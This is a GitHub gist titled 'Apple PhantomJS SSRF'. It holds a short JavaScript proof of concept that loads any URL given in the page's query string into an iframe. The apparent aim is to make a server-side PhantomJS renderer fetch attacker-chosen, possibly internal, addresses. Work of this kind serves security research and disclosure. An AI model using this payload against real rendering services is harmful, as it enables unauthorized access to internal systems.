Skip to content

Instantly share code, notes, and snippets.

@ziot
Created August 24, 2020 22:31
Show Gist options
  • Save ziot/ef5297cc1324b13a8fae706eeecc68a5 to your computer and use it in GitHub Desktop.
Save ziot/ef5297cc1324b13a8fae706eeecc68a5 to your computer and use it in GitHub Desktop.
Apple PhantomJS SSRF
function getQueryParams(qs) {
qs = qs.split('+').join(' ');
var params = {},
tokens,
re = /[?&]?([^=]+)=([^&]*)/g;
while (tokens = re.exec(qs)) {
params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]);
}
return params;
}
var query = getQueryParams(document.location.search);
var iframe = document.createElement("iframe");
iframe.src = query.url;
var iframeParent = document.getElementById("meta");
iframeParent.appendChild(iframe);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment